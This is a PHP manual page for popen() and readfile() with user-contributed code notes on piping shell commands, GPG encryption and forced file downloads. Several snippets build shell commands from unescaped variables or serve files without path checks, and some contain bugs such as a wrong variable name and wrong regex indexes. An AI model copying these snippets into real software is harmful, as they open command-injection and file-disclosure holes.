If you are running in a chroot'ed environment on Debian "Squeeze", this command won't work; there is a problem with the kernel code that popen() eventually calls.

Note that pecl makes heavy use of this command, so if you are running in this environment you will need to install the pecl extension from source instead.
hacklor [AT] NOSPAM [DOT] com 19-Apr-2010 06:03
There is a simple way to start a process in the background but still find out what the process result is. I combined the information from some users below with some of my own coming up with the following:

<?php
$bat_filename = "C:\\my_bat_file.bat";
$bat_log_filename = "C:\\my_bat_file_bat.log";
$bat_file = fopen($bat_filename, "w");
if($bat_file) {
    fwrite($bat_file, "@echo off"."\n");
    fwrite($bat_file, "echo Starting proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "php c:\\my_php_process.php >> ".$bat_log_filename."\n");
    fwrite($bat_file, "echo End proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "EXIT"."\n");
    fclose($bat_file);
}

//
// Start the process in the background
//
$exe = "start /b ".$bat_filename;
if( pclose(popen($exe, 'r')) ) {
    return true;
}
return false;
?>

In my case the file names of the .bat and .log files weren't always the same, so I needed a dynamic way to create the .bat file. The output from the php command is saved to the log file with the >> command. All prints and errors are stored there. At a later time you can open the log file and see what happened.
php at keithtyler dot net 21-Jan-2010 03:26
Note that you *have* to do a read on the handle before you can feof(), even if the command outputs nothing! So..

<?php
$f=popen("sleep 2","r");
while (!feof($f)) {}
pclose($f);
print "done";
?>

will never finish.
webmaster at php-idee dot de 23-Jul-2009 03:36
If you try to execute a command under Windows the PHP script normally waits until the process has been terminated. Executing long-term processes pauses a PHP script even if you don't want to wait for the end of the process.

It wasn't easy to find this beautiful example how to start a process under Windows without waiting for its termination:

<?php
$commandString = 'start /b c:\\programToRun.exe -attachment "c:\\temp\file1.txt"';
pclose(popen($commandString, 'r'));
?>
Marbug at gmail dot com 03-Feb-2009 12:43
If you want to download files from a linux server with a filesize bigger than 2GB you can use the following:

<?php
function serveFile( $file , $as ){
    header( 'Expires: Mon, 1 Apr 1974 05:00:00 GMT' );
    header( 'Pragma: no-cache' );
    header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
    header( 'Content-Description: File Download' );
    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Length: '.trim(`stat -c%s "$file"`) );
    header( 'Content-Disposition: attachment; filename="'. $as .'"' );
    header( 'Content-Transfer-Encoding: binary' );
    //@readfile( $file );

    flush();
    $fp = popen("tail -c ".trim(`stat -c%s "$file"`)." ".$file.' 2>&1', "r");
    while(!feof($fp))
    {
        // send the current file part to the browser
        print fread($fp, 1024);
        // flush the content to the browser
        flush();
    }
    fclose($fp);
}
?>
rockytriton 10-Sep-2007 08:25
Note, when using this with a batch file in windows, you must put an "exit" at the end of your batch file or you will get a new cmd.exe stuck in your process list every time you execute the page.
betchern0t 14-Apr-2007 06:42
Care needs to be taken in the case of long running child processes. Say you want to run tail -f /var/log/messages or in my case burn dvds. If you have a busy wait, Apache2 can sit towards 100%cpu and steadily grow memory. In my case I crashed the server after about an hour and 90% of the dvd burned. During that time apache had consumed a gig of swap.

Offending code - don't copy:

<?php
        $ThisCommand = sprintf("%s %s",COMMAND,$ThisFile);
        $fp=popen($ThisCommand,"r");
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 4096);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
        }
        pclose($fp);
?>

to go from zero memory and 100% cpu  to negligible memory and negligible cpu add a sleep.

<?php
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 256);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
                // avoid a busy wait
                sleep(1);

        }
?>

I think the continued banging of the space to keep the browser awake triggered some issues in apache.
don at digithink dot com 20-Dec-2005 01:28
<?php
// The above import function can be easily extended using
// /usr/local/bin/xls2csv (part of catdoc ) and popen
// to read excell files directly.
// In our particular application the first line was the file heading.
function importxls($file,$head=true,$throwfirst=true,$delim=",",$len=1000) {
   $return = false;
   $handle = popen("/usr/local/bin/xls2csv $file", "r");
// or die if not there.
   if ($throwfirst) {
       $throw = fgetcsv($handle, $len, $delim);
   }
   if ($head) {
       $header = fgetcsv($handle, $len, $delim);
   }
   while (($data = fgetcsv($handle, $len, $delim)) !== FALSE) {
       if ($head AND isset($header)) {
           foreach ($header as $key=>$heading) {
               $row[$heading]=(isset($data[$key])) ? $data[$key] : '';
               print "<li>". $heading ."=>" . $row[$heading]."</li>";
           }
           $return[]=$row;
       } else {
           $return[]=$data;
       }
   }
   fclose($handle);
   return $return;
}
?>
rjl at xs4all dot nl 23-Nov-2005 10:16
Truncated output from ps command?

The solution lies in the way ps displays it's info
specifically the -w option which:
'uses 132 columns to display information,
instead of the default which is your window size.'....
somehow with fgets in php that results in 74 characters
regardless off the init length parameter

a bit of code:

<?php
echo '<table width="99%"><tr><td>cron</td></tr>' . "\n";
$fp=popen("/bin/ps -waux","r");
while (!feof($fp)) {
    $buffer = fgets($fp, 4096);
    $croninf .= '<tr><td>' . $buffer . '</td></tr>' . "\n";
}
pclose($fp);
echo $croninf;
echo '</table><br><br>' . "\n";
?>

Ciao,

Rene =<>=
Cride5 09-Sep-2005 02:39
Here is a nice little script for monitoring your http access log.

<?php

$handle = popen("tail -f /etc/httpd/logs/access.log 2>&1", 'r');
while(!feof($handle)) {
    $buffer = fgets($handle);
    echo "$buffer<br/>\n";
    ob_flush();
    flush();
}
pclose($handle);

?>

----
www.eviltree.co.uk
www.solidsites.co.uk
www.mongbong.com
atampone at NOSPAMFORME dot trdsupra dot com 20-Jun-2005 03:26
If you want to fork a process under windows, this is the function to use.  I created a batch file called runcmd.bat with the following line

start %1 %2 %3 %4

then I have the folowing function

<?php
define('RUNCMDPATH', 'c:\\htdocs\\nonwebspace\\runcmd.bat');

function runCmd($cmd) {
    $externalProcess=popen(RUNCMDPATH.' '.$cmd, 'r');
    pclose($externalProcess);
}
?>

with this, doing something like

<?php runCmd('php.exe printWorkOrder.php 3498'); ?>
will launch php.exe outside of apache and allow the script calling the runCmd() function to continue without waiting for the command line process to return.  The process will run under the same user account that Apache (or whatever webserver you're running) is running under, so make sure it has permissions to do whatever you need to do.  Also, make sure that the batch file has enough %n s in order to pass all the command line variables that you might need to pass.

Special thanks to kicken from the devshed forums for coming up with the idea.
PGP Dude 06-May-2005 09:30
I should say, my host uses a modified form of safe mode, so I don't know if that might have caused a problem with "popen" as opposed to "proc_open".  With safe mode enabled, all words following the initial command string are treated as a single argument. Thus, echo y | echo x becomes echo "y | echo x".  [Because of this,] LinixDude010's srcipt did not work for me.  Seems wrong to read and write with popen, according to the manual.

The script produced pgp text, but there was something wrong with the text and I could not decode it.

This replacement script, using proc_open, which can read and write, DOES work:

<?php
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {
  $encrypted_text='';
  $key_id = EscapeShellArg($public_key_id);
  putenv("PGPPATH=$keyring_location");

  // encrypt the message
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin
    1 => array("pipe", "w"),  // stdout
    2 => array("pipe", "w")   // stderr ?? instead of a file
  );
  $process = proc_open("pgpe -r $key_id -af", $descriptorspec, $pipes);
  if (is_resource($process)) {
    fwrite($pipes[0], $plain_text);
    fclose($pipes[0]);
    while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $encrypted_text .= $s;
    }
    fclose($pipes[1]);
    // optional:
    while($s= fgets($pipes[2], 1024)) {
      $encrypted_text.= "\n<p>Error: $s</p>\n";
    }
    fclose($pipes[2]);
  }
  return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
Michel Machado 07-Mar-2004 02:53
Yet another workaround for not having bidirectional pipes in php.

<?php
$Cmd =
"bc 2>&1 << END\n" .
"100+221\n" .
"1+3*3\n" .
"quit\n" .
"END\n";

$fp = popen($Cmd, 'r');
$read = fread($fp, 1024);
echo $read;
pclose($fp);
?>
http://vmlinuz.nl/about/contact/ 11-Nov-2002 05:58
From the popen linux programmers manual:

"The  command  argument  is  a pointer to a null-terminated string containing a shell command line.  This  command  is passed  to  /bin/sh  using the -c flag."

Since php uses this popen function, you need to be sure /bin/sh exists. This file may not exist in chroot()ed environments.
ajv-php at erkle dot org 08-Aug-2002 08:02
I noticed that some of the examples above seem to advocate passing unencrypted data to gpg via the pipe shell escape, in the absence of a bi-directional popen (on some OSes).

The approach I've taken is similar to:

<?php
  $prefix = 'example';
  $command = '/usr/local/bin/gpg --encrypt --armor --no-tty --batch --no-secmem-warning --recipient "joe.soap@example.com"';
  $tmpfile = tempnam('/tmp', $prefix);
  $pipe = popen("$command 2>&1 >$tmpfile", 'w');
  if (!$pipe) {
    unlink($tmpfile);
  } else {
    fwrite($pipe, $plaintxt, strlen($plaintxt));
    pclose($pipe);
    $fd = fopen($tmpfile, "rb");
    $output = fread($fd, filesize($tmpfile));
    fclose($fd);
    unlink($tmpfile);
  }
  return $output;
?>

This means that unencrypted information is not passed via a (potentially readable) shell command, and only encrypted information gets stored on disc.
12-Jul-2002 11:33
Here is a workaround for not having bidirectional pipes in php.

If you have bidirectional pipe support, don't bother with this.

The trick here is to send the input on the command line to the target application.  In particular I wanted to use openssl without using temp files or named pipes.  This solution should also be thread/process safe.

This does work on Linux (RedHat 7).

<?php
function filterThroughCmd($input, $commandLine) {
  $pipe = popen("echo \"$input\"|$commandLine" , 'r');
  if (!$pipe) {
    print "pipe failed.";
    return "";
  }
  $output = '';
  while(!feof($pipe)) {
    $output .= fread($pipe, 1024);
  }
  pclose($pipe);
  return $output;
}

# example:
print filterThroughCmd("hello", "cat");
# Piping to cat has the effect of echoing your input.
?>
cyberlot at cyberlot dot net 30-Jun-2002 10:29
The below code works for both way processing ;) Have fun folks

<?php
    system("mkfifo pipeout");
   $pipe = popen("./nwserver -module Chapter1E > pipeout","w");
   $pipeout = fopen("pipeout", "r");
   while ($s = fgets($pipeout,1024)) {
    echo $s;
   }

?>
linuxdude010 at yahoo dot com 24-May-2002 08:49
I had all kinds of trouble encrypting a message with PGP, but I finanlly got it to work.  The trick was to 'chmod o+r pubring.pkr' so that the apache server could read the public keys!!!  Then, this function worked fine:

<?PHP
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {

        $key_id = EscapeShellArg($public_key_id);
        putenv("PGPPATH=$keyring_location");

        // encrypt the message
        $pipe = popen("pgpe -r $key_id -af", "r");
        fwrite($pipe, $plain_text);
        $encrypted_text = '';
        while($s = fgets($pipe, 1024)) {
                // read from the pipe
                $encrypted_text .= $s;
        }
        pclose($pipe);

        return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
nricciardi at mindspring dot com 09-Mar-2002 01:38
ive tried using popen using bidirectional pipes without working for obvious reasons, but i managed to create a simple script that managed to take care of the problem.  This example is for gpg encryption.

<?php
   $message = "this is the text to encrypt with gpg";
   $sendto = 'Dummy Key <another@fake.email>';

   system("mkfifo pipein");
   system("mkfifo pipeout");
   system("gpg --encrypt -a -r '$sendto' > pipeout < pipein &");
   $fo = fopen("pipeout", "r");
   $fi = fopen("pipein", "w");
   fwrite($fi, $message, strlen($message));
   fclose($fi);
   while (!feof($fo)) {
      $buf .= fread($fo, 1024);
   }
   echo $buf;
   unlink("pipein");
   unlink("pipeout");
?>

If anyone has a better way of doing this I would love to see it.


Outputs a file

  • « popen
  • readlink »
  • PHP Manual
  • Filesystem Functions
  • Outputs a file

readfile

(PHP 4, PHP 5)

readfile — Outputs a file

Description

int readfile ( string $filename [, bool $use_include_path = false [, resource $context ]] )

Reads a file and writes it to the output buffer.

Parameters

filename

The filename being read.

use_include_path

You can use the optional second parameter and set it to TRUE, if you want to search for the file in the include_path, too.

context

A context stream resource.

Return Values

Returns the number of bytes read from the file. If an error occurs, FALSE is returned and unless the function was called as @readfile(), an error message is printed.

Examples

Example #1 Forcing a download using readfile()

<?php
$file = 'monkey.gif';

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
?>

The above example will output something similar to:

Open / Save dialogue

Notes

Note:

readfile() will not present any memory issues, even when sending large files, on its own. If you encounter an out of memory error ensure that output buffering is off with ob_get_level().

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

See Also

  • fpassthru() - Output all remaining data on a file pointer
  • file() - Reads entire file into an array
  • fopen() - Opens file or URL
  • include - include
  • require - require
  • virtual() - Perform an Apache sub-request
  • file_get_contents() - Reads entire file into a string
  • Supported Protocols and Wrappers

User Contributed Notes

Anonymous 18-Oct-2014 09:18
<form action = "open.php" method = "post" >
<input ="text" name ="brian" >
<input type = "submit" name = "download" value = "download">
</form>
<?php

if(isset($_POST['download']))
{
$img ='img';
$pic = '\marcus2';
$fad = 'pdf';

$file = $img.''. $pic .'.'. $fad;

echo $file;

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}

}

?>
Brian 25-Feb-2014 10:01
If you are looking for an algorithm that will allow you to download (force download) a big file, may this one will help you.

$filename = "file.csv";
$filepath = "/path/to/file/" . $filename;

// Close sessions to prevent user from waiting until
// download will finish (uncomment if needed)
//session_write_close();

set_time_limit(0);
ignore_user_abort(false);
ini_set('output_buffering', 0);
ini_set('zlib.output_compression', 0);

$chunk = 10 * 1024 * 1024; // bytes per chunk (10 MB)

$fh = fopen($filepath, "rb");

if ($fh === false) {
    echo "Unable open file";
}

header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));

// Repeat reading until EOF
while (!feof($fh)) {
    echo fread($handle, $chunk);

    ob_flush();  // flush output
    flush();
}

exit;
riksoft at gmail dot com 22-Feb-2014 03:03
Just a note for those who face problems on names containing spaces (e.g. "test test.pdf").

In the examples (99% of the time) you can find
header('Content-Disposition: attachment; filename='.basename($file));

but the correct way to set the filename is quoting it (double quote):
header('Content-Disposition: attachment; filename="'.basename($file).'"' );

Some browsers may work without quotation, but for sure not Firefox and as Mozilla explains, the quotation of the filename in the content-disposition is according to the RFC
http://kb.mozillazine.org/Filenames_with_spaces_are_truncated_upon_download
kevin dot goodman at itmsoil dot com 02-Mar-2013 01:16
I wasted days trying to figure this out before I found the problem was easily solved.

I'm sure many of you out there have had similar problem when trying to use readfile to output images with a php file as the "src" of a "img" tag.
It works fine "as is" in Firefox but not in IE, Safari or g.Chrome.

I found hundreds of results on google all saying things like "there must be white space at the end of you code", "you need this header or that header".
I couldn't believe what the solution was but here it is anyway!

Remove the "Width" and "Height" attributes from your "img" tag
daren -remove-me- schwenke 06-May-2011 05:52
If you are lucky enough to not be on shared hosting and have apache, look at installing mod_xsendfile.
This was the only way I found to both protect and transfer very large files with PHP (gigabytes).
It's also proved to be much faster for basically any file.
Available directives have changed since the other note on this and XSendFileAllowAbove was replaced with XSendFilePath to allow more control over access to files outside of webroot.

Download the source.

Install with: apxs -cia mod_xsendfile.c

Add the appropriate configuration directives to your .htaccess or httpd.conf files:
# Turn it on
XSendFile on
# Whitelist a target directory.
XSendFilePath /tmp/blah

Then to use it in your script:
<?php
$file = '/tmp/blah/foo.iso';
$download_name = basename($file);
if (file_exists($file)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.$download_name);
    header('X-Sendfile: '.$file);
    exit;
}
?>
cOrti 31-Mar-2011 12:59
Hello,

Here's a simple trick for browsers (FF, IE) address spaces in filenames for Content-Disposition:

eg: <?php header ("Content-Disposition:attachment; filename=\"$filename\""); ?>

The \ "before and after the file name makes the difference.
Mike 04-Aug-2010 04:46
Beware of using download managers.. I was trying to use readfile in IE8 and kept getting the message "failed to get data for 'type'". Eventually figured out the problem was that I had LeechGet installed and it was intercepting the download, which in turn prevented the download from taking place.
Zambz 23-May-2010 03:33
If you are using the procedures outlined in this article to force sending a file to a user, you may find that the "Content-Length" header is not being sent on some servers.

The reason this occurs is because some servers are setup by default to enable gzip compression, which sends an additional header for such operations.  This additional header is "Transfer-Encoding: chunked" which essentially overrides the "Content-Length" header and forces a chunked download.  Of course, this is not required if you are using the intelligent versions of readfile in this article.

A missing Content-Length header implies the following:

1) Your browser will not show a progress bar on downloads because it doesn't know their length
2) If you output anything (e.g. white space) after the readfile function (by mistake), the browser will add that to the end of the download, resulting in corrupt data.

The easiest way to disable this behaviour is with the following .htaccess directive.

SetEnv no-gzip dont-vary
sakai at d4k dot net 23-Apr-2009 02:25
To reduce the burden on the server, you might want to output "Etag" and/or "Last-Modified" on http response header.  But there are some headers, which PHP itself outputs automatically, disturbing this.  So I wrote this function with erasing these.

If you guys know how to judge the return values of function "stat", in order to avoid using "is_file" or "is_readable" (or "is_dir"), please let me know or just write it here.

If you don't have to do anything special on 404, "header('HTTP/1.x xxx xxxxx');" can be inside of the function.

<?php

$filename = '/foo/bar/myfeed.rss';
$http_stat_code = readfile_if_modified($filename, array('Content-Type: text/xml'));
switch($http_stat_code) {
case 404:
    header('HTTP/1.0 404 Not Found');
    echo '<html><head></head><body><a href="http://example.com/">http://example.com/<a></body></html>';
    exit;
default:
    header('X-System-Url: http://example.com/', true, $http_stat_code);
}

function readfile_if_modified($filename, $http_header_additionals = array()) {

    if(!is_file($filename)) {
//      header('HTTP/1.0 404 Not Found');
        return 404;
    }

    if(!is_readable($filename)) {
//      header('HTTP/1.0 403 Forbidden');
        return 403;
    }

    $stat = @stat($filename);
    $etag = sprintf('%x-%x-%x', $stat['ino'], $stat['size'], $stat['mtime'] * 1000000);

    header('Expires: ');
    header('Cache-Control: ');
    header('Pragma: ');

    if(isset($_SERVER['HTTP_IF_NONE_MATCH']) && $_SERVER['HTTP_IF_NONE_MATCH'] == $etag) {
        header('Etag: "' . $etag . '"');
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    } elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) >= $stat['mtime']) {
        header('Last-Modified: ' . date('r', $stat['mtime']));
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    }

    header('Last-Modified: ' . date('r', $stat['mtime']));
    header('Etag: "' . $etag . '"');
    header('Accept-Ranges: bytes');
    header('Content-Length:' . $stat['size']);
    foreach($http_header_additionals as $header) {
        header($header);
    }

    if(@readfile($filename) === false) {
//      header('HTTP/1.0 500 Internal Server Error');
        return 500;
    } else {
//      header('HTTP/1.0 200 OK');
        return 200;
    }

}

?>
levhita at gmail dot com 21-Oct-2008 09:59
A note on the smartReadFile function from gaosipov:

Change the indexes on the preg_match matches to:

      $begin = intval($matches[1]);
      if( !empty($matches[2]) ) {
        $end = intval($matches[2]);
      }

Otherwise the $begin would be set to the entire section matched and the $end to what should be the begin.

See preg_match for more details on this.
gaosipov at gmail dot com 09-Oct-2008 11:08
Send file with HTTPRange support (partial download):

<?php
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
  { header ("HTTP/1.0 404 Not Found");
    return;
  }

  $size=filesize($location);
  $time=date('r',filemtime($location));

  $fm=@fopen($location,'rb');
  if(!$fm)
  { header ("HTTP/1.0 505 Internal server error");
    return;
  }

  $begin=0;
  $end=$size;

  if(isset($_SERVER['HTTP_RANGE']))
  { if(preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i', $_SERVER['HTTP_RANGE'], $matches))
    { $begin=intval($matches[0]);
      if(!empty($matches[1]))
        $end=intval($matches[1]);
    }
  }

  if($begin>0||$end<$size)
    header('HTTP/1.0 206 Partial Content');
  else
    header('HTTP/1.0 200 OK');

  header("Content-Type: $mimeType");
  header('Cache-Control: public, must-revalidate, max-age=0');
  header('Pragma: no-cache');
  header('Accept-Ranges: bytes');
  header('Content-Length:'.($end-$begin));
  header("Content-Range: bytes $begin-$end/$size");
  header("Content-Disposition: inline; filename=$filename");
  header("Content-Transfer-Encoding: binary\n");
  header("Last-Modified: $time");
  header('Connection: close');

  $cur=$begin;
  fseek($fm,$begin,0);

  while(!feof($fm)&&$cur<$end&&(connection_status()==0))
  { print fread($fm,min(1024*16,$end-$cur));
    $cur+=1024*16;
  }
}
?>

Usage:

<?php
smartReadFile("/tmp/filename","myfile.mp3","audio/mpeg")
?>

It can be slow for big files to read by fread, but this is a single way to read file in strict bounds. You can modify this and add fpassthru instead of fread and while, but it sends all data from begin --- it would be not fruitful if request is bytes from 100 to 200 from 100mb file.
johniskew 26-Sep-2008 09:17
@marks suggestion-

That is one way to do it, however this is avoidable.  For example in Zend Framework you could do

<?php

// Action controller
public function someAction() {

    $response = $this->_response;

    // Disable view and layout rendering
    $this->_helper->viewRenderer->setNoRender();
    $this->_helper->layout()->disableLayout();

    // Process the file
    $file = 'whatever.zip';
    $bits = @file_get_contents($file);
    if(strlen($bits) == 0) {
        $response->setBody('Sorry, we could not find requested download file.');
    }
    else {
        $response->setHeader('Content-type', 'application/octet-stream', true);
        $response->setBody($bits);
    }
}

?>
yura_imbp at mail dot ru 06-Jun-2008 06:46
if you need to limit download rate, use this code

<?php
$local_file = 'file.zip';
$download_file = 'name.zip';

// set the download rate limit (=> 20,5 kb/s)
$download_rate = 20.5;
if(file_exists($local_file) && is_file($local_file))
{
    header('Cache-control: private');
    header('Content-Type: application/octet-stream');
    header('Content-Length: '.filesize($local_file));
    header('Content-Disposition: filename='.$download_file);

    flush();
    $file = fopen($local_file, "r");
    while(!feof($file))
    {
        // send the current file part to the browser
        print fread($file, round($download_rate * 1024));
        // flush the content to the browser
        flush();
        // sleep one second
        sleep(1);
    }
    fclose($file);}
else {
    die('Error: The file '.$local_file.' does not exist!');
}

?>
marro at email dot cz 19-Mar-2008 08:17
My script working correctly on IE6 and Firefox 2 with any typ e of files (I hope :))

function DownloadFile($file) { // $file = include path
        if(file_exists($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename='.basename($file));
            header('Content-Transfer-Encoding: binary');
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            ob_clean();
            flush();
            readfile($file);
            exit;
        }

    }

Run on Apache 2 (WIN32) PHP5
TimB 11-Feb-2008 11:23
To anyone that's had problems with Readfile() reading large files into memory the problem is not Readfile() itself, it's because you have output buffering on. Just turn off output buffering immediately before the call to Readfile(). Use something like ob_end_flush().
Hayley Watson 18-Oct-2007 06:27
To avoid the risk of choosing themselves which files to download by messing with the request and doing things like inserting "../" into the "filename", simply remember that URLs are not file paths, and there's no reason why the mapping between them has to be so literal as "download.php?file=thingy.mpg" resulting in the download of the file "thingy.mpg".

It's your script and you have full control over how it maps file requests to file names, and which requests retrieve which files.

But even then, as ever, never trust ANYTHING in the request. Basic first-day-at-school security principle, that.
Sinured 17-Jul-2007 03:00
In response to "grey - greywyvern - com":

If you know the target _can't_ be a remote file (e.g. prefixing it with a directory), you should use include instead.
If the user manages to set the target to some kinda config-file (configuration.php in Joomla!), he will get a blank page - unless readfile() is used. Using include will just behave as a normal request (no output).
For remote files however use readfile().
Kniht 08-Jul-2007 08:27
@Elliott Brueggeman
What's the point of a user's settings if not to determine their environment? If they have it set a specific way, honor their setting.
Elliott Brueggeman 25-Jun-2007 05:47
I have noticed some unusual behavior with Internet Explorer 6 that’s worth taking note of. I have a link on my site to a script that outputs an XML file to the browser with the below code:

header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$filename.'"');
@readfile($file);

When the popular IE setting “Reuse Window for Launching Shortcuts” is unchecked (access this setting in the Tools Menu > Internet Options > Advanced Tab) this script will output the file to the browser and open it in a different window if the user clicks the open button on the IE prompt. However, if this setting is checked, and browser windows are being re-used, then it will open up on top of the page where the link was clicked to access the script.

If I instead set the html link target option to be “_blank”, the script will open up in a new window as expected if the “Reuse Window for Launching Shortcuts” is checked. But, if the setting is unchecked, the output XML file will open up in a new window and there will be another blank window also open that has the address of the script, in addition to our original window.

This is far from ideal, and there is no way of knowing whether users have this option checked or not. We are stuck with the distinct possibility of half of our visitors seeing either an annoying third blank window being opened or the script writing over their original window, depending on their “Reuse Window for Launching Shortcuts” setting.
chad 0x40 herballure 0x2e com 17-May-2007 04:53
In reply to herbert dot fischer at NOSPAM dot gmail dot com:

The streams API in PHP5 tries to make things as efficient as possible; in php-5.1.6 on Linux, fpassthru is faster than 'echo fread($fp, 8192)' in a loop, and readfile is even faster for files on disk. I didn't benchmark further, but I'd be willing to bet non-mmap'able streams still win because they can loop in C instead of PHP.
mAu 10-Oct-2006 09:25
Instead of using
<?php
header('Content-Type: application/force-download');
?>
use
<?php
header('Content-Type: application/octet-stream');
?>
Some browsers have troubles with force-download.
peavey at pixelpickers dot com 20-Oct-2005 03:38
A mime-type-independent forced download can also be conducted by using:

<?
(...)
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // some day in the past
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Content-type: application/x-download");
header("Content-Disposition: attachment; filename={$new_name}");
header("Content-Transfer-Encoding: binary");
?>

Cheers,

Peavey
planetmaster at planetgac dot com 17-Oct-2005 08:44
Using pieces of the forced download script, adding in MySQL database functions, and hiding the file location for security was what we needed for downloading wmv files from our members creations without prompting Media player as well as secure the file itself and use only database queries. Something to the effect below, very customizable for private access, remote files, and keeping order of your online media.

<?
    # Protect Script against SQL-Injections
    $fileid=intval($_GET[id]);
    # setup SQL statement
    $sql = " SELECT id, fileurl, filename, filesize FROM ibf_movies WHERE id=' $fileid' ";

    # execute SQL statement
    $res = mysql_query($sql);

        # display results
        while ($row = mysql_fetch_array($res)) {
        $fileurl = $row['fileurl'];
        $filename= $row['filename'];
        $filesize= $row['filesize'];

           $file_extension = strtolower(substr(strrchr($filename,"."),1));

           switch ($file_extension) {
               case "wmv": $ctype="video/x-ms-wmv"; break;
               default: $ctype="application/force-download";
           }

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

           header("Pragma: public");
           header("Expires: 0");
           header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
           header("Cache-Control: private",false);
           header("Content-Type: video/x-ms-wmv");
           header("Content-Type: $ctype");
           header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
           header("Content-Transfer-Encoding: binary");
           header("Content-Length: ".@filesize($filename));
           set_time_limit(0);
           @readfile("$fileurl") or die("File not found.");

}

$donwloaded = "downloads + 1";

    if ($_GET["hit"]) {
        mysql_query("UPDATE ibf_movies SET downloads = $donwloaded WHERE id=' $fileid'");

}

?>

While at it I added into download.php a hit (download) counter. Of course you need to setup the DB, table, and columns. Email me for Full setup// Session marker is also a security/logging option
Used in the context of linking:
http://www.yourdomain.com/download.php?id=xx&hit=1

[Edited by sp@php.net: Added Protection against SQL-Injection]
antispam [at] rdx page [dot] com 20-Sep-2005 11:14
Just a note:  If you're using bw_mod (current version 0.6) to limit bandwidth in Apache 2, it *will not* limit bandwidth during readfile events.
23-Aug-2005 11:39
here is a nice force download scirpt

            $filename = 'dummy.zip';
            $filename = realpath($filename);

            $file_extension = strtolower(substr(strrchr($filename,"."),1));

            switch ($file_extension) {
                case "pdf": $ctype="application/pdf"; break;
                case "exe": $ctype="application/octet-stream"; break;
                case "zip": $ctype="application/zip"; break;
                case "doc": $ctype="application/msword"; break;
                case "xls": $ctype="application/vnd.ms-excel"; break;
                case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
                case "gif": $ctype="image/gif"; break;
                case "png": $ctype="image/png"; break;
                case "jpe": case "jpeg":
                case "jpg": $ctype="image/jpg"; break;
                default: $ctype="application/force-download";
            }

            if (!file_exists($filename)) {
                die("NO FILE HERE");
            }

            header("Pragma: public");
            header("Expires: 0");
            header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header("Cache-Control: private",false);
            header("Content-Type: $ctype");
            header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
            header("Content-Transfer-Encoding: binary");
            header("Content-Length: ".@filesize($filename));
            set_time_limit(0);
            @readfile("$filename") or die("File not found.");
chrisputnam at gmail dot com 29-Jun-2005 10:44
In response to flowbee@gmail.com --

When using the readfile_chunked function noted here with files larger than 10MB or so I am still having memory errors. It's because the writers have left out the all important flush() after each read. So this is the proper chunked readfile (which isn't really readfile at all, and should probably be crossposted to passthru(), fopen(), and popen() just so browsers can find this information):

<?php
function readfile_chunked($filename,$retbytes=true) {
   $chunksize = 1*(1024*1024); // how many bytes per chunk
   $buffer = '';
   $cnt =0;
   // $handle = fopen($filename, 'rb');
   $handle = fopen($filename, 'rb');
   if ($handle === false) {
       return false;
   }
   while (!feof($handle)) {
       $buffer = fread($handle, $chunksize);
       echo $buffer;
       ob_flush();
       flush();
